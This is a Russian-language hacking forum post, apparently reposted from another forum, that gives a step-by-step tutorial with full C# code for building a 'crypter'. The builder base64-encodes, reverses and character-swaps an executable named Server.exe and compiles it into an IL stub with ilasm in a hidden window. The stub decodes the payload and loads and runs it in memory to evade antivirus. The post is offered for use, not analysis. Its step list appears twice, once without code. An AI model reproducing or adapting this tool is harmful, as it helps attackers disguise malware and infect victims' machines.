rmx1337
Участник
- Статус
- offline
- Регистрация
- 29.04.2017
- Сообщения
- 28
- Репутация
- 17
Нам понадобиться:
Создаем не затейливый дизайн из 2 кнопок и 1 текстбокса
2 раза кликаем по кнопке "ФаИл" и вставляем этот не понятный, без коментов код
Добавляем:
В самый верх
Ну а теперь уже можно и с 2 кнопкой поработать
Ну вот и ошибки посыпались :-D А как же без них ?
Легким движением мыши убираем их
С этой частью вроде бы закончили
Переходим к написанию, копированию, созданию (нужное подчеркнуть) стаба
Создаем новый проект. Можно тут же
Удаляем все юзинги и пишет те, что нам пригодятся
Объявляем переменные:
Если кто не понял что, как и для чего, то поднимаемся выше к началу и там все расписано
В Main пишем код
Ну вот почти и закончили. Осталось совсем чуток
Компилируем наш стаб и сам криптор
Запускаем cmd (win + r => cmd)
Нужно перейти в папку с ildasm, которая находится (в моем случае) C:\Program Files (x86)\Microsoft SDKs\Windows\v7.0A\Bin\ildasm.exe\ildasm.exe
Прописываем в консоли
Мы попали в папку с ildasm.ex
Теперь нужно пошифровать наш стаб. Для этого пишем: путь к нашему стабу и путь выхода
Копируем наш стаб, с расширением .il, в папку с криптором, предварительно создав папку Stub
Теперь проверяем работоспособность нашего "чудо" софта
P.S. тема старая,но тут подобного не нашел,может кому-то пригодится.
Источник:https://xakfor.net/threads/Пишем-криптор-на-c.15357/
- VS от же Visual Studio, (я использую 2013)
- Установленный Net. Framework 2.0
- 1 извилина в черепной коробке (для ctrl +c и ctrl + v)
- Клава и мышка:-D
- Крепкий коффе
- 2 руки (хотя вполне может хватить и 1)
- 15 минут времени
Создаем не затейливый дизайн из 2 кнопок и 1 текстбокса
2 раза кликаем по кнопке "ФаИл" и вставляем этот не понятный, без коментов код
Код:
OpenFileDialog open = new OpenFileDialog(); // обьявляем что-то
open.Filter = "Server.exe |*.exe"; // типо делаем фильтр
if (open.ShowDialog() == DialogResult.OK) // оО условие, что если что-то нажато
{
textBox1.Text = open.FileName; // то что-то выводим куда-то =)
}
Код:
public string rip;
public string file;
public string stub;
private byte[] convert;
Ну а теперь уже можно и с 2 кнопкой поработать
Код:
file = Convert.ToBase64String(System.IO.File.ReadAllBytes(textBox1.Text)); //конвертируем в базу наш файл
file = Strings.StrReverse(file); // делаем реверс
file = file.Replace("A", "恋").Replace("B", "坦"); // заменяем символы А - Алени =) и B - Бараны
stub = System.IO.File.ReadAllText(Application.StartupPath + "\\Stub\\Stub.il"); //считываем наш стаб. Обещаю, что скоро он будет
stub = stub.Replace("%code%", file); // вставляем на конвертированный, реверснуты и заменный файл в стаб =)
System.IO.File.WriteAllText(Application.StartupPath + "\\Stub\\NewStub.il", stub, System.Text.Encoding.UTF8); // записываем все это в файлик
// создаем процес
ProcessStartInfo startInfo = new ProcessStartInfo
{
FileName = (Environment.GetEnvironmentVariable("windir") + "\\Microsoft.NET\\Framework\\v2.0.50727\\ilasm.exe"), //путь
// скрываем окошко
CreateNoWindow = true,
WindowStyle = ProcessWindowStyle.Hidden,
// передаем аргументы
Arguments = string.Concat(new string[] {
"/alignment=512 /QUIET \"",
Application.StartupPath,
"\\Stub\\NewStub.il\" /output:\"",
Application.StartupPath + "\\Server.exe",
"\""
})
};
Process.Start(startInfo).WaitForExit(); // ждем завершения
System.IO.File.Delete(Application.StartupPath + "\\Stub\\NewStub.il"); // удаляем лишнее
MessageBox.Show("Воу-воу полегче парень", "Все окай", MessageBoxButtons.OK, MessageBoxIcon.Information); // выдаем мессагу
Легким движением мыши убираем их
С этой частью вроде бы закончили
Переходим к написанию, копированию, созданию (нужное подчеркнуть) стаба
Создаем новый проект. Можно тут же
Удаляем все юзинги и пишет те, что нам пригодятся
Код:
using System;
using Microsoft.VisualBasic;
Код:
public static string stb;
public static string file;
private static byte[] convert;
В Main пишем код
Код:
file = "%code%";
stb = Strings.StrReverse(file);
stb = stb.Replace("恋", "A").Replace("坦", "B");
convert = Convert.FromBase64String(stb);
object Fuck = new object[(0)];
Fuck = new object[] {"磨頼濃壁燥濯","而臼艮伶坦亞虎采洩怨","龠戴穢孀鰥鬻"};
object f1 = AppDomain.CurrentDomain;
object F2 = Interaction.CallByName(f1, "Load", CallType.Method, convert);
object f3 = Interaction.CallByName(F2, "EntryPoint", CallType.Method);
object f4 = Interaction.CallByName(f3, "Invoke", CallType.Method, Fuck, null);
Компилируем наш стаб и сам криптор
Запускаем cmd (win + r => cmd)
Нужно перейти в папку с ildasm, которая находится (в моем случае) C:\Program Files (x86)\Microsoft SDKs\Windows\v7.0A\Bin\ildasm.exe\ildasm.exe
Прописываем в консоли
Код:
C:\Program Files (x86)\Microsoft SDKs\Windows\v7.0A\Bin
Мы попали в папку с ildasm.ex
Теперь нужно пошифровать наш стаб. Для этого пишем: путь к нашему стабу и путь выхода
Копируем наш стаб, с расширением .il, в папку с криптором, предварительно создав папку Stub
Теперь проверяем работоспособность нашего "чудо" софта
P.S. тема старая,но тут подобного не нашел,может кому-то пригодится.
Источник:https://xakfor.net/threads/Пишем-криптор-на-c.15357/